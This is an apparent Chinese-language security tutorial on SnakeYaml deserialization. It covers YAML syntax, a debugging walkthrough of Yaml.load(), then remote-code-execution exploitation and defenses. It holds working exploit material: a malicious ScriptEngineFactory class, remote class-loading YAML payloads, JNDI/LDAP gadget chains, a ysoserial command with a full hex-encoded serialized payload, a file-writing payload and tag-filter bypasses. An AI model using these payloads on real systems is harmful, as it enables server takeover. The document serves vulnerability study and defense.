Java SnakeYaml反序列化漏洞

0x01 基本概念

Yaml简介

YAML"YAML Ain't a Markup Language"YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:"Yet Another Markup Language"(仍是一种标记语言)。是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。
Java中,有一个用于解析YAML格式的库,即SnakeYaml
SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

Yaml基本语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • #表示注释,只有行注释

支持的数据结构:

1. 对象

对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格。
也可以使用 key:{key1: value1, key2: value2, ...}
还可以使用缩进表示层级关系;

1
2
3
key: 
child-key: value
child-key2: value2
2. 数组

使用一个短横线加一个空格代表一个数组项:

1
2
3
- A
- B
- C

YAML 支持多维数组,可以使用行内表示:

1
key: [value1, value2, ...]

数据结构的子成员是一个数组,则可以在该项下面缩进一个空格。

1
2
3
4
5
6
7
8
9
companies:
-
id: 1
name: company1
price: 200W
-
id: 2
name: company2
price: 500W

意思是 companies 属性是一个数组,每一个数组元素又是由 idnameprice 三个属性构成。
数组也可以使用流式(flow)的方式表示:

1
companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}]
3. 常量

YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
boolean: 
- TRUE #true,True都可以
- FALSE #false,False都可以
float:
- 3.14
- 6.8523015e+5 #可以使用科学计数法
int:
- 123
- 0b1010_0111_0100_1010_1110 #二进制表示
null:
nodeName: 'node'
parent: ~ #使用~表示null
string:
- 哈哈
- 'Hello world' #可以使用双引号或者单引号包裹特殊字符
- newline
newline2 #字符串可以拆成多行,每一行会被转化成一个空格
date:
- 2018-02-17 #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime:
- 2018-02-17T15:02:31+08:00 #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区
5. 引用

& 锚点和 * 别名,可以用来引用:

1
2
3
4
5
6
7
8
9
10
11
defaults: &defaults
adapter: postgres
host: localhost

development:
database: myapp_development
<<: *defaults

test:
database: myapp_test
<<: *defaults

相当于:

1
2
3
4
5
6
7
8
9
10
11
12
13
defaults:
adapter: postgres
host: localhost

development:
database: myapp_development
adapter: postgres
host: localhost

test:
database: myapp_test
adapter: postgres
host: localhost

& 用来建立锚点(defaults),<< 表示合并到当前数据,* 用来引用锚点。

更多的关于YAML的语法及使用可参考:https://www.yiibai.com/yaml

0x02 使用SnakeYaml

使用SnakeYaml进行序列化和反序列化

SnakeYaml提供了Yaml.dump()Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;
    使用之前先引入依赖
    1
    2
    3
    4
    5
    <dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.30</version>
    </dependency>
    编写一个User
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public class User {
    String name;

    public String getName() {
    return name;
    }

    public void setName(String name) {
    this.name = name;
    }
    }
    test.java,序列化新建的User对象为yaml格式内容:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import org.yaml.snakeyaml.Yaml;

    public class test {
    public static void main(String[] args) {
    User user = new User();
    user.setName("abc");
    Yaml yaml = new Yaml();
    String s = yaml.dump(user);
    System.out.println(s);
    }
    }
    输出内容如下:
    1
    这里!!用于强制类型转化,!!User是将该对象转为User类,如果没有!则就是个key为字符串的Map
    修改Test.java,反序列化yaml格式内容:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    import org.yaml.snakeyaml.Yaml;

    public class test {
    public static void main(String[] args) {
    String s = "!!com.alter.test.User {name: abc}";
    Yaml yaml = new Yaml();
    User user = yaml.load(s);
    System.out.println(user + ":" + user.getName());
    }
    }
    输出如下:
    2

SnakeYaml反序列化的类方法调用

类比Fastjson的反序列化的类方法调用,这里试下Yaml.load()在调用时会调用将要反序列化的类的哪些方法。
这里我们修改User类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class User {
String name;
int age;

public User() {
System.out.println("User构造函数");
}

public String getName() {
System.out.println("User.getName");
return name;
}

public void setName(String name) {
System.out.println("User.setName");
this.name = name;
}

public int getAge() {
System.out.println("User.getAge");
return age;
}

public void setAge(int age) {
System.out.println("User.setAge");
this.age = age;
}
}

test.java内容如下:

1
2
3
4
5
6
7
8
9
import org.yaml.snakeyaml.Yaml;

public class test {
public static void main(String[] args) {
String s = "!!com.alter.test.User {age: 16, name: abc}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
}
}

输出如下:
3
可以看到,调用了反序列化的类的构造函数和yaml格式内容中包含的属性的setter方法

无构造函数和set函数情况下 snakeyaml 将使用反射的方式自动赋值。

1
yaml.load("!!com.zlg.SnakeYaml.ModelA {a: 5, b: 0}") ;

有构造函数的情况下

1
2
3
yaml.load("!!com.zlg.SnakeYaml.ModelB [5 , 0 ]") ;
可以看的出来`[]`是调用构造函数的一个标志
需要注意 `snakeyaml` 反序列化时,如果类中的成员变量全为私有将会失败

SnakeYaml反序列化调试

在前面的反序列化Demo中的User user = yaml.load(s);上打断点开始调试。
load()函数中会先生成一个StreamReader,将yaml数据通过构造函数赋给StreamReader,再调用loadFromReader()函数:
4
loadFromReader()函数中,调用了BaseConstructor.getSingleData()函数,此时typejava.lang.Object,指定从yaml格式数据中获取数据类型是Object类型:
5
跟进getSingleData()函数中,先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象),然后判断当前Node是否为空且是否Tag为空,若不是则判断yaml格式数据的类型是否为type类型,即Object类型、或者是否有根标签,这里都判断不通过,最后返回调用constructDocument()函数的结果:
6
继续调试,经过如下调用栈来到getClassForNode
7
getClassForNode()函数,先根据tag取出classNameUser,然后调用getClassForName()函数获取到具体的User类,因此函数名就表示它的功能:根据Node获取Class
8
这里介绍两个函数getClassName()getClassForName()
getClassName()函数中,判断开头是否是tag:yaml.org,2002:,是的话进行UTF-8编码并返回该类名
9
而在getClassForName()函数中,根据获取到的User类名来调用Class.forName()即通过反射的方式来获取目标类User
10

回到construct()函数,其中getConstructor(node)回进入上文讲的getClassForNode(node)中,下面介绍construct(node)
11
12
construct(node)函数中:
13
Object obj = Constructor.this.newInstance(mnode);会经过如下代码实例化一个User

1
2
3
4
5
6
7
...
Class<? extends Object> type = node.getType();
...
Constructor<?> c = type.getDeclaredConstructor();
c.setAccessible(true);
return c.newInstance();
...

调用栈如下:
14
接下来通过return语句设置User类的属性值
15
跟进constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的User对象的属性值:
16
跟进MethodProperty.set()函数,就是通过反射机制来调用Username属性的setter方法来进行属性值的设置的:
17
调用栈如下
18
属性值设置完成后,就返回新建的含有属性值的User类对象了。

整个SnakeYaml反序列化的过程差不多就这样。

0x03 SnakeYaml反序列化漏洞

影响版本

SnakeYaml全版本都可被反序列化漏洞利用

漏洞原理

因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

复现利用(基于ScriptEngineManager利用链)

本次利用是基于javax.script.ScriptEngineManager

  • Java从1.6开始自带ScriptEngineManager这个类,原生支持调用js,无需安装第三方库。
  • ScriptEngine支持在Js中调用Java的对象。

poc.java需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成poc.class然后放置于第三方Web服务中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class poc implements ScriptEngineFactory {
static {
try {
System.out.println("Hacked by alter");
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public String getEngineName() {
return null;
}

@Override
public String getEngineVersion() {
return null;
}

@Override
public List<String> getExtensions() {
return null;
}

@Override
public List<String> getMimeTypes() {
return null;
}

@Override
public List<String> getNames() {
return null;
}

@Override
public String getLanguageName() {
return null;
}

@Override
public String getLanguageVersion() {
return null;
}

@Override
public Object getParameter(String key) {
return null;
}

@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

@Override
public String getOutputStatement(String toDisplay) {
return null;
}

@Override
public String getProgram(String... statements) {
return null;
}

@Override
public ScriptEngine getScriptEngine() {
return null;
}
}

另外,在已放置poc.class的第三方Web服务中,在当前目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中内容为指定被执行的类名poc(具体为啥这么做在后面的调试分析中会说到):
19
注意,不要添加.class,否则.会被当做目录来进行分割处理,从而不能正确地获取到class文件。
test.java,假设的Yaml.load()外部可控的服务端漏洞程序:

1
2
3
4
5
6
7
8
9
10
11
12
import org.yaml.snakeyaml.Yaml;
import javax.script.ScriptEngineManager;

public class test {
public static void main(String[] args) {
//注意每个首次出现的”[“字符前面需要有个空格:
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8000/\"]]]]";
Yaml yaml = new Yaml();
User user = yaml.load(poc);
// Object o = yaml.load(poc);
}
}

运行结果:
20
也可以直接打包成恶意jar包放置在第三方Web服务中来触发:https://github.com/artsploit/yaml-payload

上述的Payload会从最右边开始解析, 首先调用java.net.URLpublic URL(String spec) 构造器初始化对象, 然后将该URL对象传入java.net.URLClassLoaderpublic URLClassLoader(URL[] urls)构造器中, 因为该构造器形参是URL对象数组所以Payload中用了两个方括号。最后即是调用 javax.script.ScriptEngineManagerpublic ScriptEngineManager(URLClassloader loader)构造器。

分析

yaml.load(poc);打上断点开始调试。

yaml数据解析的过程和前面章节的过程分析一样的,经过如下调用栈,获取javax.script.ScriptEngineManager类名
21
22
调试发现,在调用完如下调用链获取到类名javax.script.ScriptEngineManager之后,会返回到调用链中的construct()函数中调用获取到的构造器的constrcut()方法,然后就会继续遍历解析得到yaml格式数据内的java.net.URLClassLoader类名和java.net.URL类名:
constructDocument->constructObject->constructObjectNoCheck->construct->getConstructor->getClassForNode->getClassForName
两个断点中间的代码循环执行了三次
23
往下调试,在返回到的Constructor$ConstructSequence.construct()方法中,程序往下执行会调用newInstance()函数来新建实例:
24
这里为新建ScriptEngineManager类实例,其中argumentList参数为URLClassLoader类对象。
然后就调用到了ScriptEngineManager类的构造函数了:
25
init()中调用了initEngines(),跟进initEngines(),看到调用了ServiceLoader<ScriptEngineFactory>
26
这个就是JavaSPI机制,当服务的提供者提供了一种接口的实现之后, 需要在classpathMETA-INF/services目录里创建一个以服务接口命名的文件, 文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找META-INF/services中的配置文件去加载对应的实现类。

也就是说会去寻找目标URLMETA-INF/services目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载文件内容中指定的类即poc,这就是前面为什么需要我们在一台第三方Web服务器中新建一个指定目录的文件,同时也说明了ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行

接着通过如下调用栈来到ServiceLoader$LazyIterator.nextService()函数
27
这个函数调用Class.forName()即通过反射来获取目标URL上的poc.class,此时在Web服务端会看到被请求访问poc.class的记录;接着c.newInstance()函数创建的poc类实例传入javax.script.ScriptEngineManager类的cast()方法来执行:
28
执行到第二遍是才实例化poc
29
最终通过newInstance方法实例化,首先是URL的实例化,之后是URLClassLoader的实例化,最终实例化ScriptEngineManager时才会真正的触发远程代码执行
此时由于新建的是poc类实例,因此会调用到poc类的构造函数,而该类的静态代码块会被执行一遍,从而触发率任意代码执行漏洞。

绕过!!

详细见https://b1ue.cn/archives/407.html
!! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。
一旦 yaml 缺少了 !! 将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。
可使用以下两种方式替代!!

1
2
3
4
5
6
7
8
9
10
11
12
13
//原poc
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/"]]]]

//第一种是用!<TAG>来表示,只需要一个感叹号,尖括号里就是 TAG。
//前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> " +
"[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" +
" [\"http://127.0.0.1:8000/\"]]]]"

//第二种,需要在 yaml 中用%TAG声明一个 TAG
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://127.0.0.1:8000/\"]]]]

相关应用CVE

Resteasy

Apache Camel

Apache Brooklyn

0x04 更多Gadgets探究

下面看下其他反序列化GadgetsSnakeYaml中的利用,具体的调试分析过程就只简单提下并给出主要的利用链就好。

1. JdbcRowSetImpl

基于JdbcRowSetImplGadget十分经典,有基于RMILDAP的,因为LDAP的利用范围更广,因此这里就只跑这个场景,具体原理之前讲过就不再赘述。

poc如下,注意添加换行符:

1
String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";

测试时注意版本问题
30
简单地说,就是SnakeYaml在调用Yaml.load()反序列化的时候,会调用到JdbcRowSetImpl类的dataSourceName属性的setter方法即setDataSourceName(),然后就触发后续一系列的利用链最后达到任意代码执行的目的。

问题TODO

这里有一个问题,之前JNDI高版本的exp都是利用反序列化getshell,能不能像低版本那样远程加载类呢?

2. Spring PropertyPathFactoryBean

需要在目标环境存在springframework相关的jar

可以直接将String类型的poc传参给Yaml.load(),也可以从文件中读取内容传入文件流给Yaml.load(),需要注意payload中的各行的间隔距离:

1
2
3
4
5
String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
" targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
" propertyPath: a\n" +
" beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
" shareableResources: [\"ldap://localhost:1389/Exploit\"]";

开启LDAP服务和放置Exploit类的Web服务,运行即可触发:
31

3. C3P0 JndiRefForwardingDataSource

原理和环境相关的参考Jackson方面即可。
payload:

1
2
3
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: "ldap://localhost:1389/Exploit"
loginTimeout: 0

4. C3P0

C3P0 WrapperConnectionPoolDataSource
本地环境依赖

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.4</version>
</dependency>

需要用到C3P0.WrapperConnectionPoolDataSource通过Hex序列化字节加载器,给userOverridesAsString赋值恶意序列化内容(本地Gadget)的Hex编码值达成利用。
这里以C3P0+CC2为例
生成段CC2弹计算器的poc

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > /tmp/calc.ser

读取文件内容并Hex编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class HexEncode {
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("hello");
InputStream in = new FileInputStream("/tmp/calc.ser");
byte[] data = toByteArray(in);
in.close();
String HexString = bytesToHexString(data, data.length);
System.out.println(HexString);

}

public static byte[] toByteArray(InputStream in) throws IOException {
byte[] classBytes;
classBytes = new byte[in.available()];
in.read(classBytes);
in.close();
return classBytes;
}

public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);

for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}

sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}

最终paylaod如下,注意冒号后面有个空格:

1
2
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: 'ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000004F9CAFEBABE00000032004A0A001100230700240800250A002600270A000200280800290A0002002A08001208002B08002C08002D090010002E0A002F00300A002F0031070032070041070034010003636D640100124C6A6176612F6C616E672F537472696E673B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301002E4C79736F73657269616C2F7061796C6F6164732F74656D706C617465732F436F6D6D616E6454656D706C6174653B0100083C636C696E69743E010004636D64730100135B4C6A6176612F6C616E672F537472696E673B01000D537461636B4D61705461626C6507001D07003201000A536F7572636546696C65010014436F6D6D616E6454656D706C6174652E6A6176610C001400150100106A6176612F6C616E672F537472696E670100076F732E6E616D650700350C003600370C0038003901000377696E0C003A003B0100022F63010004626173680100022D630C0012001307003C0C003D003E0C003F00400100136A6176612F696F2F494F457863657074696F6E01002C79736F73657269616C2F7061796C6F6164732F74656D706C617465732F436F6D6D616E6454656D706C6174650100106A6176612F6C616E672F4F626A6563740100106A6176612F6C616E672F53797374656D01000B67657450726F7065727479010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B01000B746F4C6F7765724361736501001428294C6A6176612F6C616E672F537472696E673B010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A0100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010028285B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B01003B79736F73657269616C2F7061796C6F6164732F74656D706C617465732F436F6D6D616E6454656D706C61746531353234333539303539313337353001003D4C79736F73657269616C2F7061796C6F6164732F74656D706C617465732F436F6D6D616E6454656D706C6174653135323433353930353931333735303B070041090043002E0100126F70656E202D612043616C63756C61746F72080045010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700470A004800230021001000480000000100080012001300000002000100140015000100160000002F00010001000000052AB70049B10000000200170000000600010000000500180000000C0001000000050019004200000008001B001500010016000000B200030002000000441246B3004406BD00024B1203B80004B600051206B600079900102A031208532A04120953A7000D2A03120A532A04120B532A05B2000C53B8000D2AB6000E57A700044CB10001000A003F0042000F000300170000002E000B0005000A000A000D001A000E001F000F00270011002C00120031001400370016003F0019004200170043001A00180000000C0001000A0039001C001D0000001E0000000E0004FC002707001F095007002000000100210000000200227571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D000000060001000000C7000E0000000C000100000005000F001200000002001300000002001400110000000A0001000200160010000970740008495252464B5847487077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178;'";

userOverridesAsString:后面的值还有一种构造方法(没有测试)
参考marshalsecGadget,下面是输出该值的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void createPoC() throws Exception {
String poc = makeC3P0UserOverridesString("http://localhost:8000/", "Exploit");
System.out.println(poc);
}

public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException {

ByteArrayOutputStream b = new ByteArrayOutputStream();
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true);
Reference jndiref = new Reference("Foo", clazz, codebase);
Object ref = con.newInstance(jndiref, null, null, null);
oos.writeObject(ref);
}

return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
}

Gadget原理是userOverridesAsStringsetter方法触发C3P0数据库连接池去调用referenceToObject()函数将Reference转化成对象的时候导致的

5. ScriptEngineManager

参考 https://xz.aliyun.com/t/10655, 下面做个复现

主要分两步,第一步把利用时所需jar包落地,第二步用ScriptEngineManager通过file协议加载本地jar
fastjsonjackson好像也没有直接RCE的链,并且还多依赖于三方jar包,通过改写1.2.68 写文件的链和ScriptManager本地加载jar包的方式 仅需依赖jdk就可以完成RCE
用师傅的POC写了payload

1
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/Users/gaoshanyi/Projects/IdeaProjects/SnakeYaml/src/main/resources/evil.txt"],false],!!java.util.zip.Inflater  { input: !!binary eJwL8GZmEWHg4OBgmLP2dAgDEhBhYGHwdQ1x1PX0c9P3dfTzdHMNDtHzdft3ioHhs++Z0z7eunoXeb11tc6dOb85yOCK8YOnn3zPnLlces5TR29bkIfu6TMPnz56ysQQ4M3Osb9LUFQXaKg2EAcAreRiYOBgwLCSE4jhVuJWxgbEiTklqUVgNdhdzw9XU5CfrJeck1hc3BviXX7bReTfsTLlo6WPjhxkDOLSrFVd6GLjtdBXSiPP6daN0qinS7jDklP7VodMK1kieDzuU/aNILHGy6z2DfJHH/Yt4doaKJNvYvz93vvd+X8/v3+9n/FOW+RR1xrz3t07licv7vK9sz6J+/7rH45z+U3+RLT2TWtrl9pm+sbAJ/fWOt3tEqe0V7fzTJ1WriLxKve2qP8iR38W9j3PJyy5+E3nncynA2HvQyIm6r+Z8DBptnUQS9v7SGke41rF7Xf3KT1gNqrKT91ae6b+Ydvhu/sSTx0o+51iNn2mbJfCFltzV76lBVcnV0jnT5i4RXZxbvukgsvL7pbv7GFatK/wVMLnLat1ma527EzmP3LwhLjLmsvBrO7XrWJvp8h+rJPKV1Y/6RTM8ttGgdkrxNLurfr81O3lOjqiuT+XSqx8JCqS4HhU5Qn3+xVHZY/L7JzEL/mNa4a/d53ce7vPgd+qjvPkOKx95Dj/UqyGg5pmufJL90tTYroaC57+tEx7kfnSdovz/YdTMkOvan74FaLZNlt78rFI3vs/fKOTohrfLv98sMDy7ecLHMk7J4YLx9zfMqekR3KmubD4tnSbV3n8ug+9Xy2c5XPqXNXNh3U2+7bwPLnxZdEBIettUulz2SpiHbNnHFzTNj/rxlFlrozpCY8ydppH9bHHHn4s9e3CtQsrH3Lu4vnOWywSxHSM+X55Trd2+0LH2q1K7d76Ec/35W+xCV/F08u3fVeaX/Rhu3lB+VyL1j2UTFt55GbTxUd7rNN4TqeLpbdHP0n4IqbFGcrrrvL56K3laRcYWJr4zYouPjnCM2t9HF+uy+YMmxf8Rv/3f4l84hW9dsqsrjcXa17XT+g6mejK07q0Le3PmQslkUo8nAHfJ59YYcnOuJ1lncPf/xmRL9MtvJ/7/Fl7+fSCyRcrE9/6bwgv0Uzs2xe8cUNX5a9rQswmGxzU/2674HNwe1BB599/fEWG7TqpJ45yTpjONfH9Y+aqXnc9cQX7nvfeKrtNGA9/3cgj73tgg9m0h59Yfkq3/qy3YfxUpvhJeJV30x7n9JUCleZuemq3RFbmhX/QfFl/NDTG21LucqTmkxtdlteEcvseV51ZmGf+YlrFjk7RKZ67vL49P3rNSnnb+Us38h5+LrYsO/8gYrlFiClvTWFeqTXr1asfU7d5ME/SuntJXsP0lPqKP63cvSuFM87XN+/bXtb0Mnxj3bxv7svfiH4WKmyeFqg+7WdE8HK78xePmBjl+656Ef7D6p3+goUlCx7O5tJ8d6Sx5rc8qGxwLzELn8LMwPCYA1Q2MDKJMCCyNHK5ASqQUAGu4glkChcD7jIGAYpRSxzc2thQtM1CKoFQHYzsGX4UPfswS6QAb1awuSxA+A5I94M9CACIMCq1 },1048576]]

直接用师傅的exp就可以直接让文件落地
然后进行第二步用ScriptEngineManager通过file协议加载本地jar

1
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"file:///SnakeYaml/src/main/resources/evil.txt\"]]]]";

其实保存到目标服务器的文件格式是什么不重要,txt都可以执行
32
jar包结构为:
33

6. Spring

Spring DefaultBeanFactoryPointcutAdvisor
测试未通过
需要在目标环境存在springframework相关的jar
payload如下:

1
2
3
4
5
6
set:
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
adviceBeanName: "ldap://localhost:1389/Exploit"
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://localhost:1389/Exploit"]
? !!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor []

7. Apache XBean

未测试
本地环境用的xbean-naming-4.5.jar
payload:

1
!!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]

8. Apache Commons Configuration

未测试
payload:

1
2
set:
? !!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://localhost:1389/Exploit"]]

9. Resource

未测试
payload:

1
[!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]

0x05 检测与防御

检测方法

排查服务端环境是否使用了SnakeYaml,若使用了则全局搜索关键字yaml.load,若存在该关键字则需要进一步排查参数是否外部可控。

防御方法

  • 禁止Yaml.load()函数参数外部可控;
  • 若业务确实需要反序列化,则需严格过滤该参数内容,使用SafeConstructor对反序列化的内容进行限制或使用白名单控制反序列化的类的白名单;

snakeyaml 1.30 /org/yaml/snakeyaml/constructor/SafeConstructor.java中看到,其构造函数就自定义了反序列化的类的白名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public SafeConstructor(LoaderOptions loadingConfig) {
super(loadingConfig);
this.yamlConstructors.put(Tag.NULL, new SafeConstructor.ConstructYamlNull());
this.yamlConstructors.put(Tag.BOOL, new SafeConstructor.ConstructYamlBool());
this.yamlConstructors.put(Tag.INT, new SafeConstructor.ConstructYamlInt());
this.yamlConstructors.put(Tag.FLOAT, new SafeConstructor.ConstructYamlFloat());
this.yamlConstructors.put(Tag.BINARY, new SafeConstructor.ConstructYamlBinary());
this.yamlConstructors.put(Tag.TIMESTAMP, new SafeConstructor.ConstructYamlTimestamp());
this.yamlConstructors.put(Tag.OMAP, new SafeConstructor.ConstructYamlOmap());
this.yamlConstructors.put(Tag.PAIRS, new SafeConstructor.ConstructYamlPairs());
this.yamlConstructors.put(Tag.SET, new SafeConstructor.ConstructYamlSet());
